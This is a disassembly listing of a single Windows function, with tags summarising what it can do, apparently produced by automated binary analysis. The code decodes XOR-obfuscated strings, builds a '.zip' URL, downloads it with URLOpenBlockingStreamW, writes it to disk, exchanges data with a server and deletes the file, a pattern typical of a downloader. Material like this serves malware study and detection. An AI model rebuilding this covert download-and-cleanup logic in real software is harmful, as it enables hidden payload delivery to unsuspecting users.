Function at 0x13c50
Capabilities:
Delete file
Download and write a file
Download url
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x54651
mov eax, dword fs:[0]
push eax
mov eax, 0x5090
call fcn.0002de70
mov eax, dword [0x63170]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x5028], edx
mov dword [ebp - 0x5098], ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x5094], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x5030], eax
call fcn.00016960
mov ecx, dword fs:[0x2c]
mov esi, eax
mov dword [ebp - 0x5088], esi
mov dword [ebp - 0x501c], 0xd168eed1
mov ebx, dword [ecx]
mov dword [ebp - 0x508c], ebx
mov eax, dword [ebx + 0x1a8]
test al, 1
jne 0x13d09
or eax, 1
mov dword [ebx + 0x1a8], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x501c]
mov word [ebx + 0x24c], 0x197
push 0x54be0
mov dword [ebx + 0x248], eax
call fcn.0002dbad
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
cmp byte [eax + 0x24d], 0
lea edi, [eax + 0x248]
je 0x13d68
xorps xmm0, xmm0
movlpd qword [ebp - 0x501c], xmm0
mov ebx, dword [ebp - 0x5018]
mov esi, dword [ebp - 0x501c]
mov ecx, esi
mov eax, 0xb50199b9
and ecx, 7
mov edx, 0x9799397
shl ecx, 3
call fcn.00053dd0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x13d58
cmp esi, 5
jb 0x13d31
mov ebx, dword [ebp - 0x508c]
mov esi, dword [ebp - 0x5088]
mov byte [edi + 5], 0
push dword [0x6593c]
push edi
push esi
call fcn.00016790
mov eax, dword [ebx + 0x1a4]
mov dword [ebp - 0x501c], 0xd9f1d8a5
mov word [ebp - 0x5018], 0x16ee
test al, 1
jne 0x13dd9
or eax, 1
mov dword [ebx + 0x1a4], eax
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x501c]
mov word [ebx + 0x2fa], 0x115
mov dword [ebx + 0x2f4], eax
mov ax, word [ebp - 0x5018]
push 0x54bc0
mov word [ebx + 0x2f8], ax
call fcn.0002dbad
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
cmp byte [eax + 0x2fb], 0
lea edi, [eax + 0x2f4]
je 0x13e38
xorps xmm0, xmm0
movlpd qword [ebp - 0x501c], xmm0
mov ebx, dword [ebp - 0x5018]
mov esi, dword [ebp - 0x501c]
mov ecx, esi
mov eax, 0xb581bdc1
and ecx, 7
mov edx, 0x2b156f81
shl ecx, 3
call fcn.00053dd0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x13e28
cmp esi, 7
jb 0x13e01
mov ebx, dword [ebp - 0x508c]
mov esi, dword [ebp - 0x5088]
mov byte [edi + 7], 0
movsd xmm0, qword [0x60b80]
sub esp, 8
movsd qword [esp], xmm0
push edi
push esi
call fcn.000166d0
mov eax, dword [ebx + 0x1a0]
mov dword [ebp - 0x501c], 0x7e87ca0f
test al, 1
jne 0x13e9c
or eax, 1
mov dword [ebx + 0x1a0], eax
mov dword [ebp - 4], 2
mov eax, dword [ebp - 0x501c]
mov word [ebx + 0x184], 0x145
push 0x54ba0
mov dword [ebx + 0x180], eax
call fcn.0002dbad
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
cmp byte [eax + 0x185], 0
lea edi, [eax + 0x180]
je 0x13efb
xorps xmm0, xmm0
movlpd qword [ebp - 0x501c], xmm0
mov ebx, dword [ebp - 0x5018]
mov esi, dword [ebp - 0x501c]
mov ecx, esi
mov eax, 0x1bf7b37b
and ecx, 7
mov edx, 0xad957d45
shl ecx, 3
call fcn.00053dd0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x13eeb
cmp esi, 5
jb 0x13ec4
mov ebx, dword [ebp - 0x508c]
mov esi, dword [ebp - 0x5088]
mov byte [edi + 5], 0
movd xmm0, dword [ebp + 0x10]
sub esp, 8
cvtdq2pd xmm0, xmm0
movsd qword [esp], xmm0
push edi
push esi
call fcn.000166d0
mov eax, dword [ebx + 0x308]
mov dword [ebp - 0x5020], 0x91f99c33
test al, 1
jne 0x13f5e
or eax, 1
mov dword [ebx + 0x308], eax
mov dword [ebp - 4], 3
mov eax, dword [ebp - 0x5020]
mov byte [ebx + 0x274], 1
push 0x54b80
mov dword [ebx + 0x270], eax
call fcn.0002dbad
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
cmp byte [eax + 0x274], 0
lea edi, [eax + 0x270]
je 0x13fbd
xorps xmm0, xmm0
movlpd qword [ebp - 0x501c], xmm0
mov ebx, dword [ebp - 0x5018]
mov esi, dword [ebp - 0x501c]
mov ecx, esi
mov eax, 0x918bf945
and ecx, 7
mov edx, 0x79c3b345
shl ecx, 3
call fcn.00053dd0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x13fad
cmp esi, 4
jb 0x13f86
mov ebx, dword [ebp - 0x508c]
mov esi, dword [ebp - 0x5088]
mov byte [edi + 4], 0
movsd xmm0, qword [0x60b88]
sub esp, 8
movsd qword [esp], xmm0
push edi
push esi
call fcn.000166d0
push esi
call fcn.00016bc0
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
call edi
push dword [ebp - 0x5088]
mov esi, eax
call fcn.00016bc0
mov edx, esi
mov ecx, eax
call fcn.00011130
push eax
mov dword [ebp - 0x5090], eax
call edi
add eax, 0x100
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
mov dword [ebp - 0x5024], 0x82511c9f
mov eax, dword [ebx + 0x1d8]
mov dword [ebp - 0x5018], esi
mov dword [ebp - 0x5020], 0xf51c20d6
test al, 1
jne 0x14079
or eax, 1
mov dword [ebx + 0x1d8], eax
mov dword [ebp - 4], 4
mov eax, dword [ebp - 0x5024]
mov ecx, dword [ebp - 0x5020]
mov byte [ebx + 0x228], 1
mov dword [ebx + 0x220], eax
push 0x54b60
mov dword [ebx + 0x224], ecx
call fcn.0002dbad
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
cmp byte [eax + 0x228], 0
lea edi, [eax + 0x220]
je 0x140d8
xorps xmm0, xmm0
movlpd qword [ebp - 0x5024], xmm0
mov ebx, dword [ebp - 0x5020]
mov esi, dword [ebp - 0x5024]
mov ecx, esi
mov eax, 0xe3257dfb
and ecx, 7
mov edx, 0xf56f05eb
shl ecx, 3
call fcn.00053dd0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x140c8
cmp esi, 8
jb 0x140a1
mov ebx, dword [ebp - 0x508c]
mov esi, dword [ebp - 0x5018]
mov byte [edi + 8], 0
push dword [ebp - 0x5090]
push edi
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x5014]
push 0x2000
push 0
push eax
call fcn.0002f670
add esp, 0xc
lea eax, [ebp - 0x5014]
push 0x2000
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, eax
mov ecx, esi
call fcn.00011440
add esp, 8
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GlobalFree]
call esi
push dword [ebp - 0x5090]
call esi
push dword [ebp - 0x5088]
call fcn.00016990
lea eax, [ebp - 0x5014]
push eax
call fcn.00016a30
mov ecx, dword [ebx + 0x318]
mov dword [ebp - 0x5090], eax
mov dword [ebp - 0x501c], 0x48b27607
test cl, 1
jne 0x1419a
or ecx, 1
mov dword [ebx + 0x318], ecx
mov dword [ebp - 4], 5
mov eax, dword [ebp - 0x501c]
mov word [ebx + 0x10c], 0x1af
push 0x54b40
mov dword [ebx + 0x108], eax
call fcn.0002dbad
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
cmp byte [eax + 0x10d], 0
lea edi, [eax + 0x108]
je 0x141f3
xorps xmm0, xmm0
movlpd qword [ebp - 0x501c], xmm0
mov ebx, dword [ebp - 0x5018]
mov esi, dword [ebp - 0x501c]
mov ecx, esi
mov eax, 0x2ddf1769
and ecx, 7
mov edx, 0x31d103af
shl ecx, 3
call fcn.00053dd0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x141e9
cmp esi, 5
jb 0x141c2
mov ebx, dword [ebp - 0x508c]
mov byte [edi + 5], 0
push edi
push dword [ebp - 0x5090]
call fcn.00016a10
mov ecx, dword [ebx + 0x2c8]
mov dword [ebp - 0x5018], eax
mov dword [ebp - 0x5024], 0xc6e8c631
test cl, 1
jne 0x14253
or ecx, 1
mov dword [ebx + 0x2c8], ecx
mov dword [ebp - 4], 6
mov eax, dword [ebp - 0x5024]
mov word [ebx + 0x27c], 0x1e3
push 0x54b20
mov dword [ebx + 0x278], eax
call fcn.0002dbad
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [ebx + 0x27d], 0
lea edi, [ebx + 0x278]
je 0x142ab
xorps xmm0, xmm0
movlpd qword [ebp - 0x5024], xmm0
mov ebx, dword [ebp - 0x5020]
mov esi, dword [ebp - 0x5024]
nop dword [eax]
mov ecx, esi
mov eax, 0xb59ba741
and ecx, 7
mov edx, 0xabe3a9e3
shl ecx, 3
call fcn.00053dd0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x142a7
cmp esi, 5
jb 0x14280
mov byte [edi + 5], 0
push edi
push dword [ebp - 0x5090]
call fcn.00016a10
mov dword [ebp - 0x5088], eax
mov eax, dword [ebp - 0x5018]
push dword [eax + 0x10]
lea eax, [ebp - 0x3014]
push 0x65520
push 0x69940
push 0x69b48
push str._hs:___hs_hs__hs.zip
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
lea eax, [ebp - 0x2014]
push dword [0x65930]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x2014]
push 0x6063c
push eax
call esi
push dword [ebp - 0x5098]
lea eax, [ebp - 0x2014]
push eax
call esi
xor ebx, ebx
lea eax, [ebp - 0x5020]
push ebx
push ebx
push eax
lea eax, [ebp - 0x3014]
push eax
push ebx
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x143d8
mov eax, dword [ebp - 0x5020]
lea edx, [ebp - 0x5084]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x143c4
mov edi, dword [ebp - 0x507c]
inc edi
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x143ca
push edi
xorps xmm0, xmm0
push 0
push ebx
movlpd qword [ebp - 0x509c], xmm0
call fcn.0002f670
mov eax, dword [ebp - 0x5020]
add esp, 0xc
mov ecx, dword [eax]
push 0
push 0
push dword [ebp - 0x5098]
push dword [ebp - 0x509c]
push eax
call dword [ecx + 0x14]
mov ecx, dword [ebp - 0x5020]
lea eax, [edi - 1]
push 0
push eax
push ebx
mov edx, dword [ecx]
push ecx
call dword [edx + 0xc]
mov eax, dword [ebp - 0x5020]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x143de
mov edi, dword [ebp - 0x5098]
mov eax, dword [ebp - 0x5020]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x143de
mov edi, dword [ebp - 0x5098]
push 0
push 0x80
push 2
push 0
push 1
push 0x10000000
lea eax, [ebp - 0x2014]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov esi, eax
lea eax, [ebp - 0x5038]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebp - 0x2014]
push 0
push 0
push 0
push 0
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push eax
lea eax, [ebp - 0x2014]
push eax
push 0
push 0xfde9
call edi
mov esi, eax
lea ecx, [esi + esi]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 0
push 0
push esi
push eax
mov dword [ebp - 0x5018], eax
lea eax, [ebp - 0x2014]
push eax
call ebx
push eax
lea eax, [ebp - 0x2014]
push eax
push 0
push 0xfde9
call edi
push dword [ebp - 0x5030]
mov edx, dword [ebp - 0x5088]
push dword [ebp - 0x5094]
mov ecx, dword [ebp - 0x5018]
push dword [ebp - 0x5028]
mov edx, dword [edx + 0x10]
call fcn.00011590
add esp, 0xc
call fcn.00016960
mov edi, dword [ebp - 0x508c]
mov dword [ebp - 0x5088], eax
mov dword [ebp - 0x502c], 0xe11ca8f5
mov ecx, dword [edi + 0xdc]
test cl, 1
jne 0x14509
or ecx, 1
mov dword [edi + 0xdc], ecx
mov dword [ebp - 4], 7
mov eax, dword [ebp - 0x502c]
mov word [edi + 0x1f0], 0x1f7
push 0x54b00
mov dword [edi + 0x1ec], eax
call fcn.0002dbad
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, edi
cmp byte [eax + 0x1f1], 0
lea ebx, [eax + 0x1ec]
je 0x14562
xorps xmm0, xmm0
movlpd qword [ebp - 0x502c], xmm0
mov edi, dword [ebp - 0x5028]
mov esi, dword [ebp - 0x502c]
mov ecx, esi
mov eax, 0x8575df9d
and ecx, 7
mov edx, 0x3e10df7
shl ecx, 3
call fcn.00053dd0
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
jne 0x14558
cmp esi, 5
jb 0x14531
mov edi, dword [ebp - 0x508c]
mov byte [ebx + 5], 0
push dword [0x6593c]
push ebx
push dword [ebp - 0x5088]
call fcn.00016790
mov eax, dword [edi + 0x198]
mov dword [ebp - 0x502c], 0xd0562eb
mov word [ebp - 0x5028], 0xa16
test al, 1
jne 0x145d8
or eax, 1
mov dword [edi + 0x198], eax
mov dword [ebp - 4], 8
mov eax, dword [ebp - 0x502c]
mov word [edi + 0x11e], 0x14b
mov dword [edi + 0x118], eax
mov ax, word [ebp - 0x5028]
push 0x54ae0
mov word [edi + 0x11c], ax
call fcn.0002dbad
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, edi
cmp byte [eax + 0x11f], 0
lea ebx, [eax + 0x118]
je 0x14631
xorps xmm0, xmm0
movlpd qword [ebp - 0x502c], xmm0
mov edi, dword [ebp - 0x5028]
mov esi, dword [ebp - 0x502c]
mov ecx, esi
mov eax, 0x6175078f
and ecx, 7
mov edx, 0xfd4b7379
shl ecx, 3
call fcn.00053dd0
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
jne 0x14627
cmp esi, 7
jb 0x14600
mov edi, dword [ebp - 0x508c]
mov byte [ebx + 7], 0
movsd xmm0, qword [0x60b88]
sub esp, 8
movsd qword [esp], xmm0
push ebx
push dword [ebp - 0x5088]
call fcn.000166d0
mov eax, dword [edi + 0x264]
mov dword [ebp - 0x502c], 0xece902a9
test al, 1
jne 0x1469a
or eax, 1
mov dword [edi + 0x264], eax
mov dword [ebp - 4], 9
mov eax, dword [ebp - 0x502c]
mov word [edi + 0x1cc], 0x1b9
push 0x54ac0
mov dword [edi + 0x1c8], eax
call fcn.0002dbad
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, edi
cmp byte [eax + 0x1cd], 0
lea ebx, [eax + 0x1c8]
je 0x146f3
xorps xmm0, xmm0
movlpd qword [ebp - 0x502c], xmm0
mov edi, dword [ebp - 0x5028]
mov esi, dword [ebp - 0x502c]
mov ecx, esi
mov eax, 0x89997bdd
and ecx, 7
mov edx, 0x876d81b9
shl ecx, 3
call fcn.00053dd0
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
jne 0x146e9
cmp esi, 5
jb 0x146c2
mov edi, dword [ebp - 0x508c]
mov byte [ebx + 5], 0
movd xmm0, dword [ebp + 0x10]
sub esp, 8
cvtdq2pd xmm0, xmm0
movsd qword [esp], xmm0
push ebx
push dword [ebp - 0x5088]
call fcn.000166d0
mov eax, dword [edi + 0xf0]
mov dword [ebp - 0x5020], 0x79ab52ed
test al, 1
jne 0x1475b
or eax, 1
mov dword [edi + 0xf0], eax
mov dword [ebp - 4], 0xa
mov eax, dword [ebp - 0x5020]
mov byte [edi + 0xfc], 1
push 0x54aa0
mov dword [edi + 0xf8], eax
call fcn.0002dbad
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, edi
cmp byte [eax + 0xfc], 0
lea ebx, [eax + 0xf8]
je 0x147b4
xorps xmm0, xmm0
movlpd qword [ebp - 0x502c], xmm0
mov edi, dword [ebp - 0x5028]
mov esi, dword [ebp - 0x502c]
mov ecx, esi
mov eax, 0x79d9379b
and ecx, 7
mov edx, 0x995bd37d
shl ecx, 3
call fcn.00053dd0
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
jne 0x147aa
cmp esi, 4
jb 0x14783
mov edi, dword [ebp - 0x508c]
mov byte [ebx + 4], 0
movsd xmm0, qword [0x60b88]
sub esp, 8
movsd qword [esp], xmm0
push ebx
mov ebx, dword [ebp - 0x5088]
push ebx
call fcn.000166d0
push ebx
call fcn.00016bc0
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
mov esi, eax
call fcn.00016bc0
mov edx, esi
mov ecx, eax
call fcn.00011130
mov esi, eax
push esi
mov dword [ebp - 0x5094], esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 0x100
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
mov dword [ebp - 0x5034], 0xdc517013
mov eax, dword [edi + 0x150]
mov dword [ebp - 0x5028], ebx
mov dword [ebp - 0x5030], 0x4f2e9014
test al, 1
jne 0x1486e
or eax, 1
mov dword [edi + 0x150], eax
mov dword [ebp - 4], 0xb
mov eax, dword [ebp - 0x5034]
mov ecx, dword [ebp - 0x5030]
mov byte [edi + 0x140], 1
mov dword [edi + 0x138], eax
push 0x54a80
mov dword [edi + 0x13c], ecx
call fcn.0002dbad
add esp, 4
cmp byte [edi + 0x140], 0
lea edi, [edi + 0x138]
je 0x148cb
xorps xmm0, xmm0
movlpd qword [ebp - 0x5034], xmm0
mov ebx, dword [ebp - 0x5030]
mov esi, dword [ebp - 0x5034]
mov ecx, esi
mov eax, 0xbd251177
and ecx, 7
mov edx, 0x4f5db529
shl ecx, 3
call fcn.00053dd0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x148bb
cmp esi, 8
jb 0x14894
mov ebx, dword [ebp - 0x5028]
mov esi, dword [ebp - 0x5094]
mov byte [edi + 8], 0
push esi
push edi
push ebx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x5014]
push 0x2000
push 0
push eax
call fcn.0002f670
add esp, 0xc
lea eax, [ebp - 0x5014]
push 0x2000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, eax
mov ecx, ebx
call fcn.00011440
add esp, 8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
call ebx
push esi
call ebx
push dword [ebp - 0x5088]
call fcn.00016990
push dword [ebp - 0x5090]
call fcn.00016990
lea eax, [ebp - 0x2014]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push dword [ebp - 0x5018]
call ebx
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0002d829
mov esp, ebp
pop ebp
ret